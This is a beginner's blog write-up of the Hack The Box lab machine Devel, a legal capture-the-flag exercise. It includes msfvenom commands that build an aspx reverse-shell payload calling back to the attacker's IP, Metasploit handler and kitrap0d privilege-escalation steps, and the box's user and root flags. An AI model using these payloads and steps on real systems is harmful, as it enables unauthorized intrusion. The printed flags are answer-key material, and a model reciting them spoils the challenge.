Hack The Box write up for Devel
Tags: hacking, hackthebox
Published: 2020-08-24 21:17:38

I've been doing some ethical hacking lately. This is my first writeup for one of the computers I hacked into (legally.) The machine I compromised is called [Devel](https://www.hackthebox.eu/home/machines/profile/3) on [Hackthebox.eu](http://hackthebox.edu). I'm a beginner when it comes to ethical hacking, so please excuse my mistakes.

Overall this box was fun. It allowed me to get more experience using [metasploit](https://www.metasploit.com) which is really powerful. I'm totally a script kiddy with this tool.

## Nmap scan

Let's get started with an nmap scan.

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 11:26 CDT
Nmap scan report for devel.htb (10.10.10.5)
Host is up (0.074s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM <DIR> aspnet_client
| 03-17-17 05:37PM 689 iisstart.htm
|_03-17-17 05:37PM 184946 welcome.png
| ftp-syst: 
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 7.5
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.29 seconds

```

The scan shows that we've got an FTP server and a Web server running on a Windows box. Let's see what the website shows:

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.28.45-AM.png)

Looks like we've got IIS version 7 with the default page. Let's see if we can login to the FTP server with anonymous.

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.30.07-AM.png)

Anonymous login worked just fine. Looks like there are some files in there including what seems to be the IIS start page. Could this be the web directory?

Let's see if we can upload a file to that directory:

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.32.15-AM.png)

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.32.08-AM.png)

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.33.13-AM.png)

Yes! Okay, now let's use msfvenom to create a page that we can exploit to get a reverse shell. I googled this to find the details.

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.34.00-AM.png)

The first link gave me what I needed. Make sure to replace LHOST with the IP of your machine.

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.26 LPORT=1234 -f aspx -o shell.aspx

```

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.36.47-AM.png)

Now we've got a script to upload via ftp to the website. This should give us a reverse shell. First let's fire up metasploit so that we can capture the reverse shell.

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.39.49-AM.png)

You'll want to use the following:

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.26
set LPORT 1234
exploit

```

Make sure to change the LHOST to point to your machine on the VPN.

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.42.43-AM.png)

That should get you a shell on the box.

Running getuid shows that we are IIS APPOOL\Web user. We want root so there is more work to do.

Let's go into the shell and use systeminfo to see if we can find some exploits.

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.44.36-AM.png)

Now we need to exit the shell, background the meterpreter session and do some exploit research.

```
exit
background
use post/multi/recon/local_exploit_suggester
set session 1
run

```

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.50.50-AM.png)

If you did that correctly you should see a list of expoits we can use. I had to google to see which one of these would be best. The recommendation was to use the kitrap0d, the second on the list.

```
use exploit/windows/local/ms10_015_kitrap0d
show options

```

We need to tell the module which session to run on, our local host ip and our local host port.

```
set sessions 1
set LHOST 10.10.14.26
set LPORT 1234
run

```

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.03.39-PM.png)

<!--kg-card-begin: markdown-->

I goofed at first and left out the session. I added it and the exploit worked.

<!--kg-card-end: markdown-->

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.03.47-PM.png)

<!--kg-card-begin: markdown-->

If you did everything correctly you should be back at a meterpreter prompt. If you run whoami you should see:

<!--kg-card-end: markdown-->

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.04.18-PM.png)

Great, we own this box. Go grab the user.txt and root.txt.  I initially had some trouble remembering which windows commands to use. I eventually figured it out.

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.05.06-PM.png)

![Hack the Box write up for Devel](https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.04.05-PM.png)

User flag is:

```
9ecdd6a3aedf24b41562fea70f4cb3e8

```

Root flag is:

```
e621a0b5041708797c4fc4728bc72b4b

```

This box was fairly easy. Metasploit makes it pretty easy to find exploits. Figuring out which module and options is the hardest part. Google is your friend here. There are a lot of walkthroughs on this box you can use for additional help too.

This box was a lot of fun. I'd recommend it to beginners like me.